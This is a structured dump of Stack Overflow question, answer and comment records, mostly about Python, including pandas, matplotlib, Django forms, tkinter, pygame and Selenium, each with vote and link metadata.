has body: I removed the Pipfile.lock and commited it's deletion. Heroku's build process complained about it not being there, but it did deploy successfully... -----&gt; Python app detected ! No 'Pipfile.lock' found! We recommend you commit this into your repository. -----&gt; Installing pip -----&gt; Installing dependencies with Pipenv 11.8.2… Installing dependencies from Pipfile… -----&gt; Discovering process types Procfile declares types -&gt; worker -----&gt; Compressing... Done: 189.9M -----&gt; Launching... Released v5

http://stackoverflow.com/q/49455804
accepted answer: http://stackoverflow.com/a/49455909
tagged with: python
has answer: http://stackoverflow.com/a/49455909
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/85914600
downvote count: 1
has answer: http://stackoverflow.com/a/49455889
has comment: http://stackoverflow.com/comment/85914673
favorite count: 0
possible better answer: http://stackoverflow.com/a/49455837
score: -1
has title: Is there a way to clean up this code to make it more efficient and not look so messy?
tagged with: mms
tagged with: twilio
answer count: 4
tagged with: performance
has answer: http://stackoverflow.com/a/49455837
has body: I have 2 .jpg pictures that I am sending. They both are called as follows: 'wow1', 'wow2'. The code below works when I send it, but it doesn't look very pretty. How can I clean this up? for n in range (1,3): address = 'http://exampleaddress.com/rowdycode/wow' extension = '.jpg' picture =str(n) p = str(address+picture+extension) media_url = p If I give it a print function, it prints as follows: http://exampleaddress.com/rowdycode/wow1.jpg http://exampleaddress.com/rowdycode/wow2.jpg Thank you in advance.
type: Question
has answer: http://stackoverflow.com/a/49455954
has comment: http://stackoverflow.com/comment/85914512

http://stackoverflow.com/q/49498106
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/86000506
tagged with: matplotlib
has body: Some details around what I'm using: Jupyter Notebook (v. 5.4) matplotlib (v. 2.1.2) Python (v. 3.6.4) The specific question: I am trying to create a multi-line graph for PKa Data (y-axis) over the Nominal_Timepoint (x-axis) by unique ID (from ID column). In a perfect world, there will be two lines on the graph (one for each unique ID in the ID column) and the x-axis would be ordered by Nominal_Timepoint. Here's what I have so far in terms of code: import matplotlib.pyplot as plt import pandas as pd %matplotlib inline pkc = pd.read_excel("NAME OF FILE.xlsx", usecols = [1,2,3,4,7,8]) pkc['PKa Data']=pkc['PKa Data'].apply(pd.to_numeric, errors='coerce') pkc['PKb Data']=pkc['PKb Data'].apply(pd.to_numeric, errors='coerce') pkc ID Cohort Day Nominal_Timepoint PKa_Data PKb_Data 101002 1 Cycle 1 Day 1 Pre-Dose NaN NaN 101002 1 Cycle 1 Day 1 30-Minutes 9.190 NaN 101002 1 Cycle 1 Day 1 1 hr 15.200 NaN 101002 1 Cycle 2 Day 1 Pre-Dose 52.400 0.666 101002 1 Cycle 2 Day 1 30-Minutes 30.200 0.582 101002 1 Cycle 2 Day 1 1 hr 76.900 0.869 202001 2 Cycle 1 Day 1 Pre-Dose NaN NaN 202001 2 Cycle 1 Day 1 30-Minutes 0.941 NaN 202001 2 Cycle 1 Day 1 1 hr 8.340 NaN 202001 2 Cycle 2 Day 1 Pre-Dose 112.000 1.750 202001 2 Cycle 2 Day 1 30-Minutes 103.000 1.730 202001 2 Cycle 2 Day 1 1 hr 97.400 1.570 plt.plot(pkc['Nominal_Timepoint'], pkc['PKa_Data']) Currently, the graph looks like this: . You can see in the picture that the x-axis is not ordered right and there should only be two lines on the graph given there are only two unique IDs in the ID column. I've explored a bunch of online matplotlib tutorials and I can't seem to get this to work. Any other help would be much appreciated. I had this question earlier, but it was put on hold (though i'm not sure why, but I did modify this question to try and be a bit more clear). Crediting where credit is due, the plt.plot code above was provided by Goyo and that at least got me the picture attached above.
tagged with: python
favorite count: 0
tagged with: jupyter-notebook
type: Question
has title: Line Graphs in python
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86000317
has comment: http://stackoverflow.com/comment/86000448
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86001814
upvote count: 1
accepted answer: http://stackoverflow.com/a/49498315
has answer: http://stackoverflow.com/a/49498315

http://stackoverflow.com/a/49535536
answers question: http://stackoverflow.com/q/49535519
score: 1
upvote count: 1
downvote count: 0
has body: Try this instead: SortedKeys = sorted(c.items(), key=lambda x: int(x[0].split()[1]))
type: Answer

http://stackoverflow.com/comment/86138198
type: QuestionComment
has text: Thanks for your reply! Yes, the host supports running python3 scripts. I have changed the extension to .py and have the same issue. The HTML within the py file does appear on the screen. However, I'm not getting any of the desired output (the txt file).
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49564697

http://stackoverflow.com/comment/86117684
comment on: http://stackoverflow.com/q/49552916
score: 0
has text: @Shin-BangTsai Do you mean in the `settings.py`? I have the `#-*- coding: utf-8 -*-` in the first line of `settings.py`, but not work.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49582928
has answer: http://stackoverflow.com/a/49586082
has comment: http://stackoverflow.com/comment/86174082
type: Question
has comment: http://stackoverflow.com/comment/86174709
type: UnansweredQuestion
tagged with: arrays
tagged with: python
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/49584035
has body: Here is my code for reading in a file with Movie Titles and their ratings, I need to read the file and sort them according to their ratings. I'm using Python Code. This is what the file looks like: Harry Potter and the Prisoner of Azkaban , 7.8 Lord of the Rings: The Two Towers , 8.7 Spider Man , 7.3 Alice in Wonderland , 6.5 The Good Dinosaur , 6.7 Kung Fu Panda , 7.6 filename =("movie_ratings.txt") def ratings_sort(array): with open (filename) as f: for pair in f: title.append(pair.strip()) for index in f: value = array[index] i = index-1 while i&gt;=0: if value &lt; array[i]: array[i+1]=array[i] array[i]=value i = i-1 else: break title = list () rating = list('.') filename =("movie_ratings.txt") with open (filename) as f: for pair in f: title.append(pair.strip()) title.sort() ratings_sort = sorted(title, key=lambda rating:rating[2]) print ("Old List :\n",title) print('\n') print("New List :\n" ,ratings_sort) These are my results, Old List : ['Alice in Wonderland , 6.5', 'Harry Potter and the Prisoner of Azkaban , 7.8', 'Kung Fu Panda , 7.6', 'Lord of the Rings: The Two Towers , 8.7', 'Spider Man , 7.3', 'The Good Dinosaur , 6.7'] New List : ['The Good Dinosaur , 6.7', 'Alice in Wonderland , 6.5', 'Spider Man , 7.3', 'Kung Fu Panda , 7.6', 'Harry Potter and the Prisoner of Azkaban , 7.8', 'Lord of the Rings: The Two Towers , 8.7']
has title: Sorting a file with Movie ratings

http://stackoverflow.com/q/49544764
has body: I have the following code to remove the duplicates of a dataframe based on a given key: Input: dff = pd.DataFrame({"A":["foo", "foo", "foo", "bar"], "B":["A","A","B","A"], "C":[0,3,1,1]}) dff.drop_duplicates(subset=['A', 'B'], keep=False) Output: A B C 2 foo B 1 3 bar A 1 But how can I group by the same key, but selecting the row which has a larger number in "C" column. I mean, the desired output would be: A B C 2 foo B 3 3 bar A 1
accepted answer: http://stackoverflow.com/a/49544864
type: Question
has answer: http://stackoverflow.com/a/49544864
tagged with: python-3.x
has title: How to remove duplicates according to an extra condition?
has comment: http://stackoverflow.com/comment/86097329
has comment: http://stackoverflow.com/comment/86097336
type: AnsweredQuestion
score: 0
tagged with: pandas
tagged with: group-by
has comment: http://stackoverflow.com/comment/86097337
answer count: 1
tagged with: dataframe
tagged with: python

http://stackoverflow.com/a/75495234
answers question: http://stackoverflow.com/q/49521507
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/49521507
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: An other technique This time we use the online method : import pandas as pd df = pd.DataFrame({'col1':[1, 1, 2, 3, 3, 5, 8, 9], }) online_ewm = df['col1'].ewm(alpha=0.5, adjust=False).online() df['ewm'] = online_ewm.mean() new_values = pd.DataFrame({'col1':[10, 11, 13] }) def add_newRow(df, new_values, ncol, online_ewm): r = pd.concat([df, new_values], axis=0, ignore_index=True) r.loc[len(df):len(r), 'ewm'] = online_ewm.mean(update=r.loc[len(df):len(r), ncol]) return r new_df = add_newRow(df, new_values, 'col1', online_ewm) print(new_df) col1 ewm 0 1 1.000000 1 1 1.000000 2 2 1.500000 3 3 2.250000 4 3 2.625000 5 5 3.812500 6 8 5.906250 7 9 7.453125 8 10 8.726562 9 11 9.863281 10 13 11.431641

http://stackoverflow.com/a/49599657
has body: As can be seen from the source code, loadUiType returns two objects: form_class and base_class. From your code, it seems you aren't interested in the base_class, so you name it _, which is a convention for "unimportant" variables. Alternatively, you could use: FROM_CLASS = loadUiType(path.join(path.dirname(__file__), "car_Proj.ui"))[0] See this answer for more information on the _ conventions in python
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/49599611
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49599611
type: Answer

http://stackoverflow.com/comment/86011547
score: 0
type: AnswerComment
type: Comment
has text: How can I actually test to ensure everything works at the distribution level though? My test suite and CI setup are a complete joke if mistakes like won't get caught.
comment on: http://stackoverflow.com/a/49503683

http://stackoverflow.com/comment/86052691
has text: join='inner' reduces the count significantly, and deletes original rows from the dataframe. I believe merge is no different than an intersection. I removed dropna, and I'm 100% sure it is the second concat causing the trouble.
comment on: http://stackoverflow.com/a/49523167
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49491280
has title: Call program from another subfolder
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/85986045
tagged with: python
has answer: http://stackoverflow.com/a/49491653
has comment: http://stackoverflow.com/comment/85986013
tagged with: call
score: 0
has comment: http://stackoverflow.com/comment/85985667
has comment: http://stackoverflow.com/comment/85985987
has body: I wrote an application in Python, the programs reside in the main folder named "A1". In this folder, I created a subfolder called "A2". From a program that resides in the "A1" folder, I have to call a Python program that resides in the "A2" folder. I can not recall it.
type: Question

http://stackoverflow.com/comment/86187773
type: QuestionComment
has text: @RoryDaulton any will be great. I couldn't think of any better solution? Using hashing?
score: 0
comment on: http://stackoverflow.com/q/49589941
type: Comment

http://stackoverflow.com/comment/86141738
comment on: http://stackoverflow.com/a/49534368
score: 0
type: Comment
has text: What would go in dates.ini? If I just start it up then it comes up with a KeyError for 'Dates'
type: AnswerComment

django-channels
tags question: http://stackoverflow.com/q/49450014
tags question: http://stackoverflow.com/q/49561349
tags question: http://stackoverflow.com/q/49544927
type: Tag
tags question: http://stackoverflow.com/q/49462664
tag name: django-channels

http://stackoverflow.com/q/49500560
favorite count: 0
type: Question
has title: Pandas Groupby and apply method with custom function
has body: I built the following function with the aim of estimating an optimal exponential moving average of a pandas' DataFrame column. from scipy import optimize from sklearn.metrics import mean_squared_error import pandas as pd ## Function that finds best alpha and uses it to create ewma def find_best_ewma(series, eps=10e-5): def f(alpha): ewm = series.shift().ewm(alpha=alpha, adjust=False).mean() return mean_squared_error(series, ewm.fillna(0)) result = optimize.minimize(f,.3, bounds=[(0+eps, 1-eps)]) return series.shift().ewm(alpha=result.x, adjust=False).mean() Now I want to apply this function to each of the groups created using pandas-groupby on the following test df: ## test data1 data2 key1 key2 0 -0.018442 -1.564270 a x 1 -0.038490 -1.504290 b x 2 0.953920 -0.283246 a x 3 -0.231322 -0.223326 b y 4 -0.741380 1.458798 c z 5 -0.856434 0.443335 d y 6 -1.416564 1.196244 c z To do so, I tried the following two ways: ## First way test.groupby(["key1","key2"])["data1"].apply(find_best_ewma) ## Output 0 NaN 1 NaN 2 -0.018442 3 NaN 4 NaN 5 NaN 6 -0.741380 Name: data1, dtype: float64 ## Second way test.groupby(["key1","key2"]).apply(lambda g: find_best_ewma(g["data1"])) ## Output key1 key2 a x 0 NaN 2 -0.018442 b x 1 NaN y 3 NaN c z 4 NaN 6 -0.741380 d y 5 NaN Name: data1, dtype: float64 Both ways produce a pandas.core.series.Series but ONLY the second way provides the expected hierarchical index. I do not understand why the first way does not produce the hierarchical index and instead returns the original dataframe index. Could you please explain me why this happens? What am I missing? Thanks in advance for your help.
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49501060
tagged with: python
tagged with: pandas-groupby
tagged with: pandas
score: 1
answer count: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49593942
tagged with: python
tagged with: append
has comment: http://stackoverflow.com/comment/86195421
has title: Python/Pygame: draw phase drawing too many cards
tagged with: list
has body: I am making a card game, and there is a draw phase which is coded as such: def drawPhase(): drawHand = hand drawDeck = deck oppDrawHand = oppHand oppDrawDeck = oppDeck drawHand.append(drawDeck[0]) oppDrawHand.append(oppDrawDeck[0]) for cards in range(2): del drawDeck[0] del oppDrawDeck[0] return drawHand, drawDeck, oppDrawHand, oppDrawDeck I have it appending the list for each hand only once, but for some reason it seems to be drawing four cards for each player and I can't figure it out. The other parts of the code don't seem relevant for drawing cards but I can post the gameloop if the problem isn't apparent int he function shown earlier. Thanks! edit: here is the game loop: while True: # defining image indexes currentHandImageIndex = None endButtonIndex = None mouse_pos = pygame.mouse.get_pos() #game loop variables hand = playerHand oppHand = oppGetHand deck = playerDeck oppDeck = oppGetDeck benchHand = [] oppBench = [] postHand = [] oppPost = [] perimeterHand = [] oppPerimet = [] showHand = displayHand(hand, oppHand) handImages = updateHandImages() #stage variables step = defStep isDrawPhase = False #text_prompt_choose_for_bench.draw_text() endButtonPressed = False mouseClick = False #text drawing if len(step) == 1: isDrawPhase = True text_prompt_enter_draw_phase.draw_text() if len(step) == 2: isBenchPhase = True text_prompt_choose_for_bench.draw_text() for event in pygame.event.get(): if event.type == QUIT: terminate() if event.type == KEYUP: if event.key == K_ESCAPE: terminate() if event.type == MOUSEBUTTONUP: mouseClick = True for i, rect in enumerate(HAND_RECTS): if rect.collidepoint(mouse_pos): currentHandImageIndex = i break for i, rect in enumerate(END_RECT): if rect.collidepoint(mouse_pos): endButtonIndex = i break if mouseClick == True: if endButtonIndex is not None: endButtonPressed = True if currentHandImageIndex is not None: if currentHandImageIndex &lt;= len(hand)-1: DISPLAYSURF.blit(handImages[currentHandImageIndex], (925,200)) if isDrawPhase == Tru…
answer count: 1
tagged with: pygame
has comment: http://stackoverflow.com/comment/86195481
has comment: http://stackoverflow.com/comment/86195618
favorite count: 0
has answer: http://stackoverflow.com/a/49594021
type: Question
tagged with: function
upvote count: 0
type: UnansweredQuestion
score: -2
downvote count: 2

http://stackoverflow.com/a/49582492
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: Your issue is that you are trying to add a float to None. You can simplify your code greatly using a list comprehension: probs = [models[i].predict_proba(X) for i in range(5)] And then to get the sum, just sum(probs)
accepted answer of: http://stackoverflow.com/q/49582456
type: Answer
answers question: http://stackoverflow.com/q/49582456

http://stackoverflow.com/comment/86395160
has text: Sorry, my fault. But maybe this can help you: https://stackoverflow.com/questions/860013/is-there-a-python-equivalent-to-javas-awt-robot-class
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49686951
type: Comment

http://stackoverflow.com/comment/86202063
type: AnswerComment
score: 0
type: Comment
has text: seems like i am not, would you please elaborate? I am quite new to this. Thanks.
comment on: http://stackoverflow.com/a/49596817

http://stackoverflow.com/q/49514318
has title: ModelChoiceField Validation Error when Dynamically Disabling Field
tagged with: django
tagged with: python
accepted answer: http://stackoverflow.com/a/49518508
type: AnsweredQuestion
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/86033653
has body: Hi all I have the following form defined as below. If it is a form that is being passed a fte_assignment object and if it is not None I then want to disable the user field which seems to be working. The issue is when I submit the form I get the following field error Select a valid choice. That choice is not one of the available choices. I'm wondering what can I change so that the field is still disabled put will pass validation? Below I include the needed form definition information and the call from the view. forms.py class TeacherForm(forms.Form): def __init__(self, *args, **kwargs): self.location = kwargs.pop('location', None) self.end_year = kwargs.pop('end_year', None) # fte_assignment gets passed in if it is an edit this helps # with when to fire off our clean method logic self.fte_assignment = kwargs.pop('fte_assignment', None) super(TeacherForm, self).__init__(*args, **kwargs) # THIS IS WHERE I DISABLE THE FORM if self.fte_assignment: self.fields['user'].disabled = True user = forms.ModelChoiceField( label='Employee', queryset=User.objects.all() ) room = forms.CharField(max_length=6) extension = forms.IntegerField() job = forms.ModelChoiceField( queryset=Job.objects.all() ) views.py fte_assignment = FTEFutureAssignment.objects.get(pk=fte_id) form_kwargs = { 'user': fte_assignment.user, 'room': fte_assignment.room, 'extension': fte_assignment.extension, 'job': fte_assignment.job } form = TeacherForm( request.POST or None, initial=form_kwargs, location=location, end_year=end_year, fte_assignment=fte_assignment ) teacher_form.html {% csrf_token %} {{ form.errors.user }} {{ form.user.label }} {{ form.user }} {{ form.errors.room }} {{ form.room.label }} {{ form.room }} {{ form.errors.extension }} {{ form.extension.label }} {{ form.extension }} {{ form.errors.job }} {{ form.job.label }} {{ form.job }} Submit Return to Teacher List
tagged with: django-forms
has comment: http://stackoverflow.com/comment/86033887
has answer: http://stackoverflow.com/a/49523845
has answer: http://stackoverflow.com/a/49518508
type: Question
has answer: http://stackoverflow.com/a/49514741
possible better answer: http://stackoverflow.com/a/49514741

http://stackoverflow.com/comment/86153540
comment on: http://stackoverflow.com/q/49572934
score: 0
type: Comment
type: QuestionComment
has text: My issue is each I don't want the circle to be added to the subplot but to the window.

http://stackoverflow.com/comment/86086408
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49539392
type: Comment
has text: What do you mean? sorry I don't frequently ask SO questions since I often find what I'm looking for just scouring SO questions. In this particular instance, I couldn't find one after a few days.

http://stackoverflow.com/comment/86144804
type: QuestionComment
has text: Clearly something is weird with your Windows setup. Since you haven't even gotten Python started, you don't have a Python problem. You should ask somewhere like SuperUser, and make sure to include the Windows tag (and get rid of the Python one).
comment on: http://stackoverflow.com/q/49568265
type: Comment
score: 1

http://stackoverflow.com/q/49532995
has answer: http://stackoverflow.com/a/49533032
favorite count: 0
type: Question
tagged with: dataframe
tagged with: python
type: AnsweredQuestion
tagged with: pandas-groupby
tagged with: pandas
linked to: http://stackoverflow.com/q/44703994
has body: I was wondering if anyone could help me with parallel coordinate plotting. First this is how the data looks like: It's data manipulated from : https://data.cityofnewyork.us/Transportation/2016-Yellow-Taxi-Trip-Data/k67s-dv2t So I'm trying to normalise some features and use that to compute the mean of trip distance, passenger count and payment amount for each day of the week. from pandas.tools.plotting import parallel_coordinates feature = ['trip_distance','passenger_count','payment_amount'] #normalizing data for feature in features: df[feature] = (df[feature]-df[feature].min())/(df[feature].max()-df[feature].min()) #change format to datetime pickup_time = pd.to_datetime(df['pickup_datetime'], format ='%d/%m/%y %H:%M') #fill dayofweek column with 0~6 0:Monday and 6:Sunday df['dayofweek'] = pickup_time.dt.weekday mean_trip = df.groupby('dayofweek').trip_distance.mean() mean_passanger = df.groupby('dayofweek').passenger_count.mean() mean_payment = df.groupby('dayofweek').payment_amount.mean() #parallel_coordinates('notsurewattoput') So if I print mean_trip: It shows the mean of each day of the week but I'm not sure how I would use this to draw a parallel coordinate plot with all 3 means on the same plot. Does anyone know how to implement this?
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/49533032
has title: Pandas: parallel plots using groupie
upvote count: 1
score: 1

http://stackoverflow.com/q/49530566
answer count: 1
tagged with: selenium
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86067461
linked to: http://stackoverflow.com/q/32639014
has comment: http://stackoverflow.com/comment/86090154
upvote count: 6
score: 6
has body: I am trying to download an image from a URL using Selenium Webdriver in Python. The site is protected by a login page, so can't just save the URL contents using requests. I am able to get text from the site after logging in, but I can't figure out how to save an image. After I log in to the site, I can do browser.save_screenshot(filename + '.png') but that image is not the correct size as the original. The code that I have now is this: browser = webdriver.Chrome('../chromedriver') browser.get('www.example.com/login') # send username and password, click submit browser.get('www.example.com/123') html = browser.page_source printData(html) # this url is an image file browser.get('www.example.com/get_photo.php?id=123') browser.save_screenshot(filename + '.png') Ideally I would like to replace the save_screenshot() with something like with open(filename + '.jpeg', 'w') as img: img.write(browser.download_current_image()) or even something like this, interacting with the popup menu browser.right_click() browser.down_arrow_key() browser.return_key() or simulating a keypress browser.command_key() browser.s_key() This question gives the answers that I want, but not for Python. If there is a way to do any of the things suggested in that question (besides taking a screenshot) in Python, that would be a great solution.
tagged with: python
has title: Download an Image Using Selenium Webdriver in Python
has answer: http://stackoverflow.com/a/49541524
accepted answer: http://stackoverflow.com/a/49541524
tagged with: selenium-webdriver
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/6813704
has comment: http://stackoverflow.com/comment/86078328
downvote count: 0

http://stackoverflow.com/q/49568625
favorite count: 0
tagged with: jupyter-notebook
type: Question
has title: plt.subplot in jupyter notebook
tagged with: python
has body: def plot_it(U1, U2, x, i): fig_1, = plt.plot(x, U1) fig_2, = plt.plot(x, U2) i = str(int(i/2 + 1)) if i != 0 else '' plt.xlabel('x, t =' + i + 'Δt') plt.ylabel('U') plt.legend(handles=[fig_1, fig_2], labels=['μ = 1', 'μ = 2']) plt.show() plt.figure() for i in range(11): U1[1:20] = np.linalg.solve(A1, B1.dot(U1[1:20])) U2[1:20] = np.linalg.solve(A2, B2.dot(U2[1:20])) if i % 2 == 0: plt.subplot(2, 3, int(i/2 + 1)) plot_it(U1, U2, x, i) I want the result is 2 rows 3 columns, but in fact it gives me 6 rows 1 column,
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49569137
downvote count: 0
accepted answer: http://stackoverflow.com/a/49569137
upvote count: 1
score: 1
tagged with: matplotlib
answer count: 1

http://stackoverflow.com/a/49492518
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/49492344
type: Answer
has body: You can find the location of pip by which pip. Then you view the pip executable header using head `which pip` or using your preferred editor. You can find the python interpreter location on the first line. You may have a pip2 and a pip3 executable. By the way, you can run pip as a python module by python -m pip &lt;command&gt;. In this way, you can specify your python interpreter.
downvote count: 0

http://stackoverflow.com/comment/86117484
has text: I am not familiar with cv2, but yes try various codecs, or as a first try without compression and also try np.int8 dtype. Sorry, I thought it would be easier to solve, becuase the error message looks quite like a dtype problem...
score: 0
comment on: http://stackoverflow.com/q/49519768
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86059821
comment on: http://stackoverflow.com/q/49496834
type: QuestionComment
has text: @pchaigno your solution works absolutely fine with scapy! Thanks for help.
score: 0
type: Comment

http://stackoverflow.com/a/49468456
has comment: http://stackoverflow.com/comment/85939751
has body: If you're asking why there are spaces between your outputs of favoriteColor, etc., it's because Python's print function automatically adds spaces between each of its arguments. If you don't want this happening, you can change your code in two ways: Either add a sep argument to your print, telling Python to add an empty separator between your arguments: print('\nFirst password:', favoriteColor, chr(95), petName, sep='') Or, you can append your arguments together yourself, as strings: print('\nFirst password:', favoriteColor + chr(95) + petName) Also, I should mention that if you need an underscore, you don't need to call chr(95) -- you can just write the string '_'.
has comment: http://stackoverflow.com/comment/85939641
type: Answer
answers question: http://stackoverflow.com/q/49468077
has comment: http://stackoverflow.com/comment/85942564
accepted answer of: http://stackoverflow.com/q/49468077
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85942537

http://stackoverflow.com/a/49618979
has body: Changes introduced in pyodbc 4.0.22 caused several different errors while working with query parameters. Those issues were addressed by the release of pyodbc 4.0.23.
score: 3
has comment: http://stackoverflow.com/comment/98931468
upvote count: 3
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49571954
accepted answer of: http://stackoverflow.com/q/49571954
downvote count: 0
type: Answer

http://stackoverflow.com/q/49501092
favorite count: 0
type: Question
tagged with: open-source
has comment: http://stackoverflow.com/comment/86006467
has comment: http://stackoverflow.com/comment/86006833
has body: Our corporate IT people are paranoid. This is normal, but they are requiring me to prove that Python doesn't have any malicious (or insecure) code in it (of course, this includes all the modules I have loaded). From the Department of Defense: "Security Vulnerability Management -- There are a variety of reasons that organizations want to know what components their developers are using, but security is certainly a biggie. Arguably open source is at least as secure as proprietary code, but at the same time, for even very popular components there are hundreds of known vulnerabilities in the National Vulnerabilities Database. And new ones are being discovered every day, so it's critical that organizations not only have processes for vetting incoming components, but also monitor used components going forward to ensure they know if new problems arise." Any ideas how I would go about the Python body of code? In an ongoing fashion? I'm pretty much done with my project and am not inclined to rewrite it in C#. Thanks.
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86006616
score: 2
tagged with: security
has title: How to prove Python is safe
upvote count: 3
has comment: http://stackoverflow.com/comment/86006809
has comment: http://stackoverflow.com/comment/86006262
has answer: http://stackoverflow.com/a/49501224
answer count: 1
has comment: http://stackoverflow.com/comment/86006476
downvote count: 1

http://stackoverflow.com/comment/86015083
comment on: http://stackoverflow.com/a/49505062
score: 0
type: Comment
type: AnswerComment
has text: It was the parent class class causing the problem? Thank you for your time I had no idea why everything was working and then suddenly came crashing to a halt. THANK YOU!

http://stackoverflow.com/q/49561733
tagged with: os.walk
tagged with: string-matching
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49562048
tagged with: http://stackoverflow.com/tag/csv
has answer: http://stackoverflow.com/a/49562048
tagged with: python
type: Question
tagged with: python-3.x
has title: os.walk() to match contents of a files from a CSV file
score: 0
answer count: 1
has body: I have two words i would like to search for using a CSV file, this is done using the os.walk() method to recursively look through each file within the rootDir however not too sure on what i'm missing to complete my code. The two words i am looking for is which are in two separate files: XZOXNEOXXTWX, YOEYTWOYZYNY To start off with i created a csv to look for certain words, i then have created the os.walk() method and tried reading the text from the CSV file to output the matching contents. I have looked through a fair bit of material but i want it not matching up to what i would like to output. appendData = [] mPath = r"C:\Users\test\Documents\test" wordstoSearch = r"C:\Users\test\Documents\test\strings.csv" for rootDir, subDir, files in os.walk(mPath, topdown=True): print('Root Directory:', rootDir) for x in files: with open(os.path.join(files)): with open ('strings.csv', 'rt') as stringSearch: if wordstoSearch in stringSearch.read(): appendData.append('File: {}\nMatching Content: {}\n'.format(x, wordstoSearch)) appendData = '\n'.join(appendData) print (appendData)

http://stackoverflow.com/q/49465529
tagged with: python-3.x
answer count: 2
has comment: http://stackoverflow.com/comment/85933920
has body: I have the following comparison in python: "LC08_L1TP_215068_20151114_20170402_01_T1_B1"=="LC08*_B[1-7]" Which should return True but doesn't. Does anyone know what the problem is, and how to solve it?
has answer: http://stackoverflow.com/a/49465632
possible better answer: http://stackoverflow.com/a/49465632
has answer: http://stackoverflow.com/a/49465586
tagged with: python
accepted answer: http://stackoverflow.com/a/49465586
downvote count: 4
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/85933828
has title: Why isn't this python string comparison working as expected
has comment: http://stackoverflow.com/comment/85933804
score: -4
tagged with: string-comparison
favorite count: 0
type: Question

http://stackoverflow.com/comment/86043356
score: 0
has text: In the future, if you want to save a python dictionary, you should use json.dumps to store the dictionary, and then json.loads to load it. You can also use pickling.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49518355

http://stackoverflow.com/comment/86148949
comment on: http://stackoverflow.com/q/49567878
has text: And whats your question?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/49517149
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86080091
has comment: http://stackoverflow.com/comment/86040424
downvote count: 0
answers question: http://stackoverflow.com/q/49516442
upvote count: 1
has comment: http://stackoverflow.com/comment/86080413
has body: Here is one way using pd.Series.map, any with a generator expression, str.isdecimal and str.split. import pandas as pd df = pd.DataFrame({'col1': ['0002 0003 1289', '89060 324 123431132', '890GB 32A 34311TT', '82A 34311TT', '82A 34311TT 889 9999C']}) df['numeric'] = df['col1'].map(lambda x: any(i.isdecimal() for i in x.split())) Note that isdecimal is more strict than isdigit. But you may need to use str.isdigit or str.isnumeric in Python 2.7. To remove such rows where result is False: df = df[df['col1'].map(lambda x: any(i.isdecimal() for i in x.split()))] Result First part of logic: col1 numeric 0 0002 0003 1289 True 1 89060 324 123431132 True 2 890GB 32A 34311TT False 3 82A 34311TT False 4 82A 34311TT 889 9999C True
has comment: http://stackoverflow.com/comment/86080048
has comment: http://stackoverflow.com/comment/86040347

http://stackoverflow.com/q/49440282
has title: Python 3 tkinter notepad Cut and Copy
answer count: 1
has body: Hello I'm trying to make a notepad written in python using tkinter. I'm having trouble making the edit menu work. I'm currently trying to implement copy, cut, and paste but I'm having issues. When I try to press the cut button I get a message like this "TypeError: cut() missing 2 required positional arguments: 'self' and 'event'" I'm honestly new to the whole class thing in Python so this is my first attempt at using that. I've shortened my code for convenience. Any help would be appreciated! class Notepad: #Functions def __init__(self, master, **kw): Text.__init__(self, master, **kw) self.bind('&lt;Control-c&gt;', self.copy) self.bind('&lt;Control-x&gt;', self.cut) self.bind('&lt;Control-v&gt;', self.paste) def copy(self, event=None): self.clipboard_clear() text = self.get("sel.first", "sel.last") self.clipboard_append(text) def cut(self, event): self.copy() self.delete("sel.first", "sel.last") def paste(self, event): text = self.selection_get(selection='CLIPBOARD') self.insert('insert', text) root = Tk() menu = Menu(root) root.config(menu=menu) root.title('Written in Python') root.minsize(width=100, height=100) root.geometry('800x500+350+150') #Height, Width, X, Y coordinates of the program #NotePad textArea = ScrolledText.ScrolledText(root, width=1000, height=100) #Height and width of notepad textArea.pack() root = Tk() menu = Menu(root) root.config(menu=menu) editMenu = Menu(menu) menu.add_cascade(label="Edit",menu=editMenu) editMenu.add_separator() editMenu.add_command(label="Cut", command=cut) editMenu.add_command(label="Copy", command=copy) editMenu.add_command(label="Paste", command=paste) root.mainloop()
accepted answer: http://stackoverflow.com/a/49450618
type: Question
has answer: http://stackoverflow.com/a/49450618
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: tkinter

http://stackoverflow.com/comment/85980225
comment on: http://stackoverflow.com/q/49488596
type: Comment
type: QuestionComment
has text: its a 5th one , but sometimes its can be 2nd, 1st etc
score: 0

http://stackoverflow.com/comment/85981354
has text: I'm confused by the whole problem and the code, but I know that `b` is an int because you set it to an int here: `b = max(...)`. I can't tell you how to _fix_ it, because I'm not sure what that line of code is supposed to do, but that's where the problem is.
type: QuestionComment
score: 4
comment on: http://stackoverflow.com/q/49489252
type: Comment

http://stackoverflow.com/comment/86023425
score: 0
comment on: http://stackoverflow.com/q/49464705
type: Comment
type: QuestionComment
